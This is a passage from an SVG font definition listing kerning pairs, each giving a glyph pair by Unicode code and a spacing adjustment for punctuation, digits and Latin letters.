<hkern u1="&#x22;" u2="&#xeb;" k="-31" />
<hkern u1="&#x22;" u2="&#xea;" k="-31" />
<hkern u1="&#x22;" u2="&#xe9;" k="-31" />
<hkern u1="&#x22;" u2="&#xe8;" k="-31" />
<hkern u1="&#x22;" u2="&#xe6;" k="96" />
<hkern u1="&#x22;" u2="&#xe5;" k="96" />
<hkern u1="&#x22;" u2="&#xe4;" k="96" />
<hkern u1="&#x22;" u2="&#xe3;" k="96" />
<hkern u1="&#x22;" u2="&#xe2;" k="96" />
<hkern u1="&#x22;" u2="&#xe1;" k="96" />
<hkern u1="&#x22;" u2="&#xe0;" k="96" />
<hkern u1="&#x22;" u2="&#xdd;" k="-31" />
<hkern u1="&#x22;" u2="&#xc7;" k="-33" />
<hkern u1="&#x22;" u2="&#xc6;" k="96" />
<hkern u1="&#x22;" u2="&#xc5;" k="96" />
<hkern u1="&#x22;" u2="&#xc4;" k="96" />
<hkern u1="&#x22;" u2="&#xc3;" k="96" />
<hkern u1="&#x22;" u2="&#xc2;" k="96" />
<hkern u1="&#x22;" u2="&#xc1;" k="96" />
<hkern u1="&#x22;" u2="&#xc0;" k="96" />
<hkern u1="&#x22;" u2="t" k="-33" />
<hkern u1="&#x22;" u2="r" k="-31" />
<hkern u1="&#x22;" u2="p" k="-33" />
<hkern u1="&#x22;" u2="l" k="-31" />
<hkern u1="&#x22;" u2="h" k="-33" />
<hkern u1="&#x22;" u2="f" k="-33" />
<hkern u1="&#x22;" u2="e" k="-31" />
<hkern u1="&#x22;" u2="b" k="-31" />
<hkern u1="&#x22;" u2="a" k="96" />
<hkern u1="&#x22;" u2="Z" k="14" />
<hkern u1="&#x22;" u2="Y" k="-31" />
<hkern u1="&#x22;" u2="T" k="-31" />
<hkern u1="&#x22;" u2="M" k="-33" />
<hkern u1="&#x22;" u2="J" k="63" />
<hkern u1="&#x22;" u2="C" k="-33" />
<hkern u1="&#x22;" u2="B" k="-31" />
<hkern u1="&#x22;" u2="A" k="96" />
<hkern u1="&#x23;" u2="&#x39;" k="-66" />
<hkern u1="&#x23;" u2="&#x35;" k="-49" />
<hkern u1="&#x23;" u2="&#x32;" k="-31" />
<hkern u1="&#x23;" u2="&#x31;" k="-31" />
<hkern u1="&#x23;" u2="&#x30;" k="-31" />
<hkern u1="&#x24;" u2="&#x38;" k="-31" />
<hkern u1="&#x24;" u2="&#x36;" k="-33" />
<hkern u1="&#x25;" u2="&#x38;" k="-33" />
<hkern u1="&#x25;" u2="&#x36;" k="-49" />
<hkern u1="&#x25;" u2="&#x35;" k="-31" />
<hkern u1="&#x25;" u2="&#x32;" k="-33" />
<hkern u1="&#x25;" u2="&#x31;" k="66" />
<hkern u1="&#x26;" u2="&#x178;" k="303" />
<hkern u1="&#x26;" u2="&#x153;" k="96" />
<hkern u1="&#x26;" u2="&#x152;" k="49" />
<hkern u1="&#x26;" u2="&#xff;" k="270" />
<hkern u1="&#x26;" u2="&#xfd;" k="270" />
<hkern u1="&#x26;" u2="&#xfc;" k="31" />
<hkern u1="&#x26;" u2="&#xfb;" k="31" />
<hkern u1="&#x26;" u2="&#xfa;" k="31" />
<hkern u1="&#x26;" u2="&#xf9;" k="31" />
<hkern u1="&#x26;" u2="&#xf8;" k="96" />
<hkern u1="&#x26;" u2="&#xf6;" k="96" />
<hkern u1="&#x26;" u2="&#xf5;" k="96" />
<hkern u1="&#x26;" u2="&#xf4;" k="96" />
<hkern u1="&#x26;" u2="&#xf3;" k="96" />
<hkern u1="&#x26;" u2="&#xf2;" k="96" />
<hkern u1="&#x26;" u2="&#xe7;" k="66" />
<hkern u1="&#x26;" u2="&#xe6;" k="-47" />
<hkern u1="&#x26;" u2="&#xe5;" k="-47" />
<hkern u1="&#x26;" u2="&#xe4;" k="-47" />
<hkern u1="&#x26;" u2="&#xe3;" k="-47" />
<hkern u1="&#x26;" u2="&#xe2;" k="-47" />
<hkern u1="&#x26;" u2="&#xe1;" k="-47" />
<hkern u1="&#x26;" u2="&#xe0;" k="-47" />
<hkern u1="&#x26;" u2="&#xdd;" k="303" />
<hkern u1="&#x26;" u2="&#xdc;" k="209" />
<hkern u1="&#x26;" u2="&#xdb;" k="209" />
<hkern u1="&#x26;" u2="&#xda;" k="209" />
<hkern u1="&#x26;" u2="&#xd9;" k="209" />
<hkern u1="&#x26;" u2="&#xd8;" k="49" />
<hkern u1="&#x26;" u2="&#xd6;" k="49" />
<hkern u1="&#x26;" u2="&#xd5;" k="49" />
<hkern u1="&#x26;" u2="&#xd4;" k="49" />
<hkern u1="&#x26;" u2="&#xd3;" k="49" />
<hkern u1="&#x26;" u2="&#xd2;" k="49" />
<hkern u1="&#x26;" u2="&#xcb;" k="-80" />
<hkern u1="&#x26;" u2="&#xca;" k="-80" />
<hkern u1="&#x26;" u2="&#xc9;" k="-80" />
<hkern u1="&#x26;" u2="&#xc8;" k="-80" />
<hkern u1="&#x26;" u2="&#xc7;" k="66" />
<hkern u1="&#x26;" u2="z" k="16" />
<hkern u1="&#x26;" u2="y" k="270" />
<hkern u1="&#x26;" u2="x" k="-16" />
<hkern u1="&#x26;" u2="w" k="193" />
<hkern u1="&#x26;" u2="v" k="176" />
<hkern u1="&#x26;" u2="u" k="31" />
<hkern u1="&#x26;" u2="t" k="242" />
<hkern u1="&#x26;" u2="s" k="31" />
<hkern u1="&#x26;" u2="q" k="80" />
<hkern u1="&#x26;" u2="o" k="96" />
<hkern u1="&#x26;" u2="j" k="-47" />
<hkern u1="&#x26;" u2="g" k="63" />
<hkern u1="&#x26;" u2="d" k="-16" />
<hkern u1="&#x26;" u2="c" k="66" />
<hkern u1="&#x26;" u2="b" k="-16" />
<hkern u1="&#x26;" u2="a" k="-47" />
<hkern u1="&#x26;" u2="Y" k="303" />
<hkern u1="&#x26;" u2="W" k="207" />
<hkern u1="&#x26;" u2="V" k="-33" />
<hkern u1="&#x26;" u2="U" k="209" />
<hkern u1="&#x26;" u2="T" k="256" />
<hkern u1="&#x26;" u2="S" k="145" />
<hkern u1="&#x26;" u2="R" k="176" />
<hkern u1="&#x26;" u2="Q" k="47" />
<hkern u1="&#x26;" u2="P" k="209" />
<hkern u1="&#x26;" u2="O" k="49" />
<hkern u1="&#x26;" u2="F" k="-47" />
<hkern u1="&#x26;" u2="E" k="-80" />
<hkern u1="&#x26;" u2="C" k="66" />
<hkern u1="&#x26;" u2="B" k="-16" />
<hkern u1="&#x26;" u2="&#x39;" k="113" />
<hkern u1="&#x26;" u2="&#x38;" k="31" />
<hkern u1="&#x26;" u2="&#x35;" k="16" />
<hkern u1="&#x26;" u2="&#x34;" k="47" />
<hkern u1="&#x26;" u2="&#x32;" k="-33" />
<hkern u1="&#x26;" u2="&#x31;" k="190" />
<hkern u1="&#x26;" u2="&#x30;" k="47" />
<hkern u1="&#x27;" u2="t" k="-43" />
<hkern u1="&#x2c;" u2="&#xef;" k="-33" />
<hkern u1="&#x2c;" u2="&#xee;" k="-33" />
<hkern u1="&#x2c;" u2="&#xed;" k="-33" />
<hkern u1="&#x2c;" u2="&#xec;" k="-33" />
<hkern u1="&#x2c;" u2="&#xeb;" k="-47" />
<hkern u1="&#x2c;" u2="&#xea;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe9;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe8;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe7;" k="33" />
<hkern u1="&#x2c;" u2="&#xe6;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe5;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe4;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe3;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe2;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe1;" k="-47" />
<hkern u1="&#x2c;" u2="&#xe0;" k="-47" />
<hkern u1="&#x2c;" u2="z" k="-49" />
<hkern u1="&#x2c;" u2="m" k="-31" />
<hkern u1="&#x2c;" u2="l" k="-33" />
<hkern u1="&#x2c;" u2="k" k="-47" />
<hkern u1="&#x2c;" u2="j" k="-80" />
<hkern u1="&#x2c;" u2="i" k="-33" />
<hkern u1="&#x2c;" u2="h" k="-16" />
<hkern u1="&#x2c;" u2="e" k="-47" />
<hkern u1="&#x2c;" u2="d" k="-47" />
<hkern u1="&#x2c;" u2="c" k="33" />
<hkern u1="&#x2c;" u2="a" k="-47" />
<hkern u1="&#x2c;" u2="Z" k="-63" />
<hkern u1="&#x2c;" u2="V" k="-31" />
<hkern u1="&#x2c;" u2="H" k="-31" />
<hkern u1="&#x2e;" u2="&#x178;" k="240" />
<hkern u1="&#x2e;" u2="&#x153;" k="63" />
<hkern u1="&#x2e;" u2="&#xff;" k="225" />
<hkern u1="&#x2e;" u2="&#xfd;" k="225" />
<hkern u1="&#x2e;" u2="&#xf8;" k="63" />
<hkern u1="&#x2e;" u2="&#xf6;" k="63" />
<hkern u1="&#x2e;" u2="&#xf5;" k="63" />
<hkern u1="&#x2e;" u2="&#xf4;" k="63" />
<hkern u1="&#x2e;" u2="&#xf3;" k="63" />
<hkern u1="&#x2e;" u2="&#xf2;" k="63" />
<hkern u1="&#x2e;" u2="&#xeb;" k="-33" />
<hkern u1="&#x2e;" u2="&#xea;" k="-33" />
<hkern u1="&#x2e;" u2="&#xe9;" k="-33" />
<hkern u1="&#x2e;" u2="&#xe8;" k="-33" />
<hkern u1="&#x2e;" u2="&#xe7;" k="31" />
<hkern u1="&#x2e;" u2="&#xe6;" k="-49" />
<hkern u1="&#x2e;" u2="&#xe5;" k="-49" />
<hkern u1="&#x2e;" u2="&#xe4;" k="-49" />
<hkern u1="&#x2e;" u2="&#xe3;" k="-49" />
<hkern u1="&#x2e;" u2="&#xe2;" k="-49" />
<hkern u1="&#x2e;" u2="&#xe1;" k="-49" />
<hkern u1="&#x2e;" u2="&#xe0;" k="-49" />
<hkern u1="&#x2e;" u2="&#xdd;" k="240" />
<hkern u1="&#x2e;" u2="&#xc7;" k="47" />
<hkern u1="&#x2e;" u2="z" k="-49" />
<hkern u1="&#x2e;" u2="y" k="225" />
<hkern u1="&#x2e;" u2="x" k="-33" />
<hkern u1="&#x2e;" u2="w" k="66" />
<hkern u1="&#x2e;" u2="v" k="176" />
<hkern u1="&#x2e;" u2="t" k="160" />
<hkern u1="&#x2e;" u2="q" k="47" />
<hkern u1="&#x2e;" u2="p" k="-63" />
<hkern u1="&#x2e;" u2="o" k="63" />
<hkern u1="&#x2e;" u2="l" k="-66" />
<hkern u1="&#x2e;" u2="k" k="-47" />
<hkern u1="&#x2e;" u2="j" k="-63" />
<hkern u1="&#x2e;" u2="h" k="-47" />
<hkern u1="&#x2e;" u2="g" k="33" />
<hkern u1="&#x2e;" u2="e" k="-33" />
<hkern u1="&#x2e;" u2="d" k="-49" />
<hkern u1="&#x2e;" u2="c" k="31" />
<hkern u1="&#x2e;" u2="b" k="-47" />
<hkern u1="&#x2e;" u2="a" k="-49" />
<hkern u1="&#x2e;" u2="Z" k="-80" />
<hkern u1="&#x2e;" u2="Y" k="240" />
<hkern u1="&#x2e;" u2="V" k="-47" />
<hkern u1="&#x2e;" u2="T" k="143" />
<hkern u1="&#x2e;" u2="C" k="47" />
<hkern u1="&#x2e;" u2="B" k="-47" />
<hkern u1="&#x2f;" u2="&#x178;" k="-96" />
<hkern u1="&#x2f;" u2="&#x153;" k="16" />
<hkern u1="&#x2f;" u2="&#xff;" k="-113" />
<hkern u1="&#x2f;" u2="&#xfd;" k="-113" />
<hkern u1="&#x2f;" u2="&#xfc;" k="-80" />
<hkern u1="&#x2f;" u2="&#xfb;" k="-80" />
<hkern u1="&#x2f;" u2="&#xfa;" k="-80" />
<hkern u1="&#x2f;" u2="&#xf9;" k="-80" />
<hkern u1="&#x2f;" u2="&#xf8;" k="16" />
<hkern u1="&#x2f;" u2="&#xf6;" k="16" />
<hkern u1="&#x2f;" u2="&#xf5;" k="16" />
<hkern u1="&#x2f;" u2="&#xf4;" k="16" />
<hkern u1="&#x2f;" u2="&#xf3;" k="16" />
<hkern u1="&#x2f;" u2="&#xf2;" k="16" />
<hkern u1="&#x2f;" u2="&#xef;" k="-66" />
<hkern u1="&#x2f;" u2="&#xee;" k="-66" />
<hkern u1="&#x2f;" u2="&#xed;" k="-66" />
<hkern u1="&#x2f;" u2="&#xec;" k="-66" />
<hkern u1="&#x2f;" u2="&#xeb;" k="-63" />
<hkern u1="&#x2f;" u2="&#xea;" k="-63" />
<hkern u1="&#x2f;" u2="&#xe9;" k="-63" />
<hkern u1="&#x2f;" u2="&#xe8;" k="-63" />
<hkern u1="&#x2f;" u2="&#xe7;" k="16" />
<hkern u1="&#x2f;" u2="&#xe6;" k="-113" />
<hkern u1="&#x2f;" u2="&#xe5;" k="-113" />
<hkern u1="&#x2f;" u2="&#xe4;" k="-113" />
<hkern u1="&#x2f;" u2="&#xe3;" k="-113" />
<hkern u1="&#x2f;" u2="&#xe2;" k="-113" />
<hkern u1="&#x2f;" u2="&#xe1;" k="-113" />
<hkern u1="&#x2f;" u2="&#xe0;" k="-113" />
<hkern u1="&#x2f;" u2="&#xdd;" k="-96" />
<hkern u1="&#x2f;" u2="&#xdc;" k="-96" />
<hkern u1="&#x2f;" u2="&#xdb;" k="-96" />
<hkern u1="&#x2f;" u2="&#xda;" k="-96" />
<hkern u1="&#x2f;" u2="&#xd9;" k="-96" />
<hkern u1="&#x2f;" u2="&#xc6;" k="129" />
<hkern u1="&#x2f;" u2="&#xc5;" k="129" />
<hkern u1="&#x2f;" u2="&#xc4;" k="129" />
<hkern u1="&#x2f;" u2="&#xc3;" k="129" />
<hkern u1="&#x2f;" u2="&#xc2;" k="129" />
<hkern u1="&#x2f;" u2="&#xc1;" k="129" />
<hkern u1="&#x2f;" u2="&#xc0;" k="129" />
<hkern u1="&#x2f;" u2="z" k="-80" />
<hkern u1="&#x2f;" u2="y" k="-113" />
<hkern u1="&#x2f;" u2="x" k="-63" />
<hkern u1="&#x2f;" u2="w" k="-113" />
<hkern u1="&#x2f;" u2="v" k="-80" />
<hkern u1="&#x2f;" u2="u" k="-80" />
<hkern u1="&#x2f;" u2="t" k="-113" />
<hkern u1="&#x2f;" u2="q" k="33" />
<hkern u1="&#x2f;" u2="p" k="-63" />
<hkern u1="&#x2f;" u2="o" k="16" />
<hkern u1="&#x2f;" u2="m" k="-49" />
<hkern u1="&#x2f;" u2="l" k="-66" />
<hkern u1="&#x2f;" u2="k" k="-80" />
<hkern u1="&#x2f;" u2="i" k="-66" />
<hkern u1="&#x2f;" u2="h" k="-63" />
<hkern u1="&#x2f;" u2="g" k="-16" />
<hkern u1="&#x2f;" u2="f" k="-47" />
<hkern u1="&#x2f;" u2="e" k="-63" />
<hkern u1="&#x2f;" u2="d" k="-113" />
<hkern u1="&#x2f;" u2="c" k="16" />
<hkern u1="&#x2f;" u2="b" k="-80" />
<hkern u1="&#x2f;" u2="a" k="-113" />
<hkern u1="&#x2f;" u2="Z" k="-47" />
<hkern u1="&#x2f;" u2="Y" k="-96" />
<hkern u1="&#x2f;" u2="X" k="-80" />
<hkern u1="&#x2f;" u2="W" k="-80" />
<hkern u1="&#x2f;" u2="V" k="-96" />
<hkern u1="&#x2f;" u2="U" k="-96" />
<hkern u1="&#x2f;" u2="T" k="-80" />
<hkern u1="&#x2f;" u2="M" k="-96" />
<hkern u1="&#x2f;" u2="B" k="-96" />
<hkern u1="&#x2f;" u2="A" k="129" />
<hkern u1="&#x30;" u2="&#x37;" k="106" />
<hkern u1="&#x30;" u2="&#x36;" k="-43" />
<hkern u1="&#x30;" u2="&#x35;" k="-20" />
<hkern u1="&#x30;" u2="&#x33;" k="-20" />
<hkern u1="&#x30;" u2="&#x32;" k="63" />
<hkern u1="&#x31;" u2="&#x39;" k="-43" />
<hkern u1="&#x31;" u2="&#x38;" k="-43" />
<hkern u1="&#x31;" u2="&#x36;" k="-63" />
<hkern u1="&#x31;" u2="&#x35;" k="-43" />
<hkern u1="&#x31;" u2="&#x34;" k="-23" />
<hkern u1="&#x31;" u2="&#x33;" k="-43" />
<hkern u1="&#x31;" u2="&#x32;" k="-20" />
<hkern u1="&#x32;" u2="&#x37;" k="63" />
<hkern u1="&#x32;" u2="&#x35;" k="20" />
<hkern u1="&#x32;" u2="&#x34;" k="63" />
<hkern u1="&#x33;" u2="&#x39;" k="43" />
<hkern u1="&#x33;" u2="&#x37;" k="86" />
<hkern u1="&#x34;" u2="&#x38;" k="-43" />
<hkern u1="&#x34;" u2="&#x37;" k="106" />
<hkern u1="&#x35;" u2="&#x39;" k="63" />
<hkern u1="&#x35;" u2="&#x37;" k="106" />
<hkern u1="&#x36;" u2="&#x38;" k="-20" />
<hkern u1="&#x36;" u2="&#x37;" k="106" />
<hkern u1="&#x37;" u2="&#x39;" k="20" />
<hkern u1="&#x37;" u2="&#x38;" k="66" />
<hkern u1="&#x3a;" u2="&#xff;" k="96" />
<hkern u1="&#x3a;" u2="&#xfd;" k="96" />
<hkern u1="&#x3a;" u2="&#xfc;" k="-49" />
<hkern u1="&#x3a;" u2="&#xfb;" k="-49" />
<hkern u1="&#x3a;" u2="&#xfa;" k="-49" />
<hkern u1="&#x3a;" u2="&#xf9;" k="-49" />
<hkern u1="&#x3a;" u2="&#xdc;" k="-63" />
<hkern u1="&#x3a;" u2="&#xdb;" k="-63" />
<hkern u1="&#x3a;" u2="&#xda;" k="-63" />
<hkern u1="&#x3a;" u2="&#xd9;" k="-63" />
<hkern u1="&#x3a;" u2="y" k="96" />
<hkern u1="&#x3a;" u2="v" k="47" />
<hkern u1="&#x3a;" u2="u" k="-49" />
<hkern u1="&#x3a;" u2="s" k="-63" />
<hkern u1="&#x3a;" u2="g" k="-33" />
<hkern u1="&#x3a;" u2="Z" k="-63" />
<hkern u1="&#x3a;" u2="U" k="-63" />
<hkern u1="&#x3b;" u2="&#xff;" k="63" />
<hkern u1="&#x3b;" u2="&#xfd;" k="63" />
<hkern u1="&#x3b;" u2="&#xcb;" k="-63" />
<hkern u1="&#x3b;" u2="&#xca;" k="-63" />
<hkern u1="&#x3b;" u2="&#xc9;" k="-63" />
<hkern u1="&#x3b;" u2="&#xc8;" k="-63" />
<hkern u1="&#x3b;" u2="y" k="63" />
<hkern u1="&#x3b;" u2="g" k="-47" />
<hkern u1="&#x3b;" u2="V" k="-96" />
<hkern u1="&#x3b;" u2="T" k="-80" />
<hkern u1="&#x3b;" u2="Q" k="-63" />
<hkern u1="&#x3b;" u2="E" k="-63" />
<hkern u1="&#x3f;" u2="&#xe6;" k="96" />
<hkern u1="&#x3f;" u2="&#xe5;" k="96" />
<hkern u1="&#x3f;" u2="&#xe4;" k="96" />
<hkern u1="&#x3f;" u2="&#xe3;" k="96" />
<hkern u1="&#x3f;" u2="&#xe2;" k="96" />
<hkern u1="&#x3f;" u2="&#xe1;" k="96" />
<hkern u1="&#x3f;" u2="&#xe0;" k="96" />
<hkern u1="&#x3f;" u2="a" k="96" />
<hkern u1="&#x3f;" u2="J" k="80" />
<hkern u1="&#x3f;" u2="B" k="-33" />
<hkern u1="&#x40;" u2="&#xff;" k="14" />
<hkern u1="&#x40;" u2="&#xfd;" k="14" />
<hkern u1="&#x40;" u2="&#xf1;" k="-31" />
<hkern u1="&#x40;" u2="&#xe6;" k="63" />
<hkern u1="&#x40;" u2="&#xe5;" k="63" />
<hkern u1="&#x40;" u2="&#xe4;" k="63" />
<hkern u1="&#x40;" u2="&#xe3;" k="63" />
<hkern u1="&#x40;" u2="&#xe2;" k="63" />
<hkern u1="&#x40;" u2="&#xe1;" k="63" />
<hkern u1="&#x40;" u2="&#xe0;" k="63" />
<hkern u1="&#x40;" u2="&#xdc;" k="47" />
<hkern u1="&#x40;" u2="&#xdb;" k="47" />
<hkern u1="&#x40;" u2="&#xda;" k="47" />
<hkern u1="&#x40;" u2="&#xd9;" k="47" />
<hkern u1="&#x40;" u2="y" k="14" />
<hkern u1="&#x40;" u2="r" k="-80" />
<hkern u1="&#x40;" u2="p" k="-47" />
<hkern u1="&#x40;" u2="n" k="-31" />
<hkern u1="&#x40;" u2="j" k="96" />
<hkern u1="&#x40;" u2="g" k="80" />
<hkern u1="&#x40;" u2="a" k="63" />
<hkern u1="&#x40;" u2="V" k="63" />
<hkern u1="&#x40;" u2="U" k="47" />
<hkern u1="&#x40;" u2="T" k="47" />
<hkern u1="&#x40;" u2="R" k="16" />
<hkern u1="&#x40;" u2="P" k="63" />
<hkern u1="&#x40;" u2="F" k="80" />
<hkern u1="A" u2="x" k="-66" />
<hkern u1="A" u2="w" k="106" />
<hkern u1="A" u2="v" k="106" />
<hkern u1="A" u2="t" k="84" />
<hkern u1="A" u2="q" k="41" />
<hkern u1="A" u2="g" k="-43" />
<hkern u1="A" u2="f" k="41" />
<hkern u1="A" u2="d" k="43" />
<hkern u1="A" u2="W" k="190" />
<hkern u1="A" u2="V" k="213" />
<hkern u1="A" u2="T" k="213" />
<hkern u1="A" u2="R" k="-20" />
<hkern u1="A" u2="Q" k="43" />
<hkern u1="A" u2="J" k="86" />
<hkern u1="A" u2="G" k="43" />
<hkern u1="B" u2="&#x178;" k="86" />
<hkern u1="B" u2="&#x152;" k="-23" />
<hkern u1="B" u2="&#xde;" k="-41" />
<hkern u1="B" u2="&#xdd;" k="86" />
<hkern u1="B" u2="&#xd8;" k="-23" />
<hkern u1="B" u2="&#xd6;" k="-23" />
<hkern u1="B" u2="&#xd5;" k="-23" />
<hkern u1="B" u2="&#xd4;" k="-23" />
<hkern u1="B" u2="&#xd3;" k="-23" />
<hkern u1="B" u2="&#xd2;" k="-23" />
<hkern u1="B" u2="v" k="20" />
<hkern u1="B" u2="h" k="-20" />
<hkern u1="B" u2="g" k="-20" />
<hkern u1="B" u2="Y" k="86" />
<hkern u1="B" u2="W" k="86" />
<hkern u1="B" u2="V" k="63" />
<hkern u1="B" u2="S" k="-43" />
<hkern u1="B" u2="Q" k="-43" />
<hkern u1="B" u2="O" k="-23" />
<hkern u1="B" u2="J" k="-43" />
<hkern u1="B" u2="G" k="-23" />
<hkern u1="B" u2="D" k="-41" />
<hkern u1="C" u2="w" k="-43" />
<hkern u1="C" u2="t" k="-43" />
<hkern u1="C" u2="m" k="-43" />
<hkern u1="C" u2="h" k="-43" />
<hkern u1="C" u2="g" k="-20" />
<hkern u1="C" u2="T" k="-43" />
<hkern u1="C" u2="R" k="-63" />
<hkern u1="C" u2="P" k="-43" />
<hkern u1="C" u2="M" k="-43" />
<hkern u1="C" u2="K" k="-66" />
<hkern u1="C" u2="H" k="-63" />
<hkern u1="D" u2="w" k="-43" />
<hkern u1="D" u2="m" k="-43" />
<hkern u1="D" u2="j" k="-43" />
<hkern u1="D" u2="h" k="-20" />
<hkern u1="D" u2="X" k="106" />
<hkern u1="D" u2="W" k="63" />
<hkern u1="D" u2="V" k="20" />
<hkern u1="D" u2="T" k="63" />
<hkern u1="D" u2="Q" k="-43" />
<hkern u1="D" u2="F" k="-43" />
<hkern u1="E" u2="x" k="-43" />
<hkern u1="E" u2="j" k="-84" />
<hkern u1="E" u2="W" k="-20" />
<hkern u1="E" u2="V" k="-23" />
<hkern u1="E" u2="T" k="-84" />
<hkern u1="E" u2="J" k="-23" />
<hkern u1="F" u2="&#x178;" k="-63" />
<hkern u1="F" u2="&#x152;" k="-43" />
<hkern u1="F" u2="&#xdd;" k="-63" />
<hkern u1="F" u2="&#xd8;" k="-43" />
<hkern u1="F" u2="&#xd6;" k="-43" />
<hkern u1="F" u2="&#xd5;" k="-43" />
<hkern u1="F" u2="&#xd4;" k="-43" />
<hkern u1="F" u2="&#xd3;" k="-43" />
<hkern u1="F" u2="&#xd2;" k="-43" />
<hkern u1="F" u2="&#xcf;" k="-20" />
<hkern u1="F" u2="&#xce;" k="-20" />
<hkern u1="F" u2="&#xcd;" k="-20" />
<hkern u1="F" u2="&#xcc;" k="-20" />
<hkern u1="F" u2="f" k="-43" />
<hkern u1="F" u2="Y" k="-63" />
<hkern u1="F" u2="V" k="-63" />
<hkern u1="F" u2="T" k="-63" />
<hkern u1="F" u2="O" k="-43" />
<hkern u1="F" u2="I" k="-20" />
<hkern u1="F" u2="G" k="-43" />
<hkern u1="G" u2="&#x178;" k="86" />
<hkern u1="G" u2="&#xff;" k="20" />
<hkern u1="G" u2="&#xfd;" k="20" />
<hkern u1="G" u2="&#xeb;" k="-23" />
<hkern u1="G" u2="&#xea;" k="-23" />
<hkern u1="G" u2="&#xe9;" k="-23" />
<hkern u1="G" u2="&#xe8;" k="-23" />
<hkern u1="G" u2="&#xdd;" k="86" />
<hkern u1="G" u2="y" k="20" />
<hkern u1="G" u2="e" k="-23" />
<hkern u1="G" u2="Y" k="86" />
<hkern u1="G" u2="W" k="84" />
<hkern u1="G" u2="V" k="63" />
<hkern u1="G" u2="T" k="86" />
<hkern u1="G" u2="R" k="20" />
<hkern u1="I" u2="W" k="-43" />
<hkern u1="I" u2="T" k="-66" />
<hkern u1="I" u2="J" k="-20" />
<hkern u1="J" u2="&#x153;" k="20" />
<hkern u1="J" u2="&#xfc;" k="23" />
<hkern u1="J" u2="&#xfb;" k="23" />
<hkern u1="J" u2="&#xfa;" k="23" />
<hkern u1="J" u2="&#xf9;" k="23" />
<hkern u1="J" u2="&#xf8;" k="20" />
<hkern u1="J" u2="&#xf6;" k="20" />
<hkern u1="J" u2="&#xf5;" k="20" />
<hkern u1="J" u2="&#xf4;" k="20" />
<hkern u1="J" u2="&#xf3;" k="20" />
<hkern u1="J" u2="&#xf2;" k="20" />
<hkern u1="J" u2="&#xf1;" k="20" />
<hkern u1="J" u2="&#xeb;" k="20" />
<hkern u1="J" u2="&#xea;" k="20" />
<hkern u1="J" u2="&#xe9;" k="20" />
<hkern u1="J" u2="&#xe8;" k="20" />
<hkern u1="J" u2="&#xe6;" k="43" />
<hkern u1="J" u2="&#xe5;" k="43" />
<hkern u1="J" u2="&#xe4;" k="43" />
<hkern u1="J" u2="&#xe3;" k="43" />
<hkern u1="J" u2="&#xe2;" k="43" />
<hkern u1="J" u2="&#xe1;" k="43" />
<hkern u1="J" u2="&#xe0;" k="43" />
<hkern u1="J" u2="u" k="23" />
<hkern u1="J" u2="o" k="20" />
<hkern u1="J" u2="n" k="20" />
<hkern u1="J" u2="j" k="41" />
<hkern u1="J" u2="g" k="41" />
<hkern u1="J" u2="e" k="20" />
<hkern u1="J" u2="a" k="43" />
<hkern u1="J" u2="X" k="84" />
<hkern u1="K" u2="&#x153;" k="86" />
<hkern u1="K" u2="&#x152;" k="127" />
<hkern u1="K" u2="&#xff;" k="86" />
<hkern u1="K" u2="&#xfd;" k="86" />
<hkern u1="K" u2="&#xfc;" k="66" />
<hkern u1="K" u2="&#xfb;" k="66" />
<hkern u1="K" u2="&#xfa;" k="66" />
<hkern u1="K" u2="&#xf9;" k="66" />
<hkern u1="K" u2="&#xf8;" k="86" />
<hkern u1="K" u2="&#xf6;" k="86" />
<hkern u1="K" u2="&#xf5;" k="86" />
<hkern u1="K" u2="&#xf4;" k="86" />
<hkern u1="K" u2="&#xf3;" k="86" />
<hkern u1="K" u2="&#xf2;" k="86" />
<hkern u1="K" u2="&#xf1;" k="43" />
<hkern u1="K" u2="&#xeb;" k="63" />
<hkern u1="K" u2="&#xea;" k="63" />
<hkern u1="K" u2="&#xe9;" k="63" />
<hkern u1="K" u2="&#xe8;" k="63" />
<hkern u1="K" u2="&#xe7;" k="63" />
<hkern u1="K" u2="&#xe6;" k="41" />
<hkern u1="K" u2="&#xe5;" k="41" />
<hkern u1="K" u2="&#xe4;" k="41" />
<hkern u1="K" u2="&#xe3;" k="41" />
<hkern u1="K" u2="&#xe2;" k="41" />
<hkern u1="K" u2="&#xe1;" k="41" />
<hkern u1="K" u2="&#xe0;" k="41" />
<hkern u1="K" u2="&#xdc;" k="66" />
<hkern u1="K" u2="&#xdb;" k="66" />
<hkern u1="K" u2="&#xda;" k="66" />
<hkern u1="K" u2="&#xd9;" k="66" />
<hkern u1="K" u2="&#xd8;" k="127" />
<hkern u1="K" u2="&#xd6;" k="127" />
<hkern u1="K" u2="&#xd5;" k="127" />
<hkern u1="K" u2="&#xd4;" k="127" />
<hkern u1="K" u2="&#xd3;" k="127" />
<hkern u1="K" u2="&#xd2;" k="127" />
<hkern u1="K" u2="z" k="43" />
<hkern u1="K" u2="y" k="86" />
<hkern u1="K" u2="w" k="106" />
<hkern u1="K" u2="v" k="106" />
<hkern u1="K" u2="u" k="66" />
<hkern u1="K" u2="t" k="63" />
<hkern u1="K" u2="s" k="43" />
<hkern u1="K" u2="q" k="63" />
<hkern u1="K" u2="o" k="86" />
<hkern u1="K" u2="n" k="43" />
<hkern u1="K" u2="m" k="43" />
<hkern u1="K" u2="g" k="-41" />
<hkern u1="K" u2="e" k="63" />
<hkern u1="K" u2="d" k="63" />
<hkern u1="K" u2="c" k="63" />
<hkern u1="K" u2="a" k="41" />
<hkern u1="K" u2="U" k="66" />
<hkern u1="K" u2="R" k="23" />
<hkern u1="K" u2="Q" k="86" />
<hkern u1="K" u2="O" k="127" />
<hkern u1="L" u2="g" k="-43" />
<hkern u1="L" u2="W" k="213" />
<hkern u1="L" u2="V" k="213" />
<hkern u1="L" u2="T" k="213" />
<hkern u1="M" u2="&#xe6;" k="-20" />
<hkern u1="M" u2="&#xe5;" k="-20" />
<hkern u1="M" u2="&#xe4;" k="-20" />
<hkern u1="M" u2="&#xe3;" k="-20" />
<hkern u1="M" u2="&#xe2;" k="-20" />
<hkern u1="M" u2="&#xe1;" k="-20" />
<hkern u1="M" u2="&#xe0;" k="-20" />
<hkern u1="M" u2="a" k="-20" />
<hkern u1="M" u2="W" k="43" />
<hkern u1="O" u2="b" k="-20" />
<hkern u1="O" u2="X" k="86" />
<hkern u1="O" u2="W" k="63" />
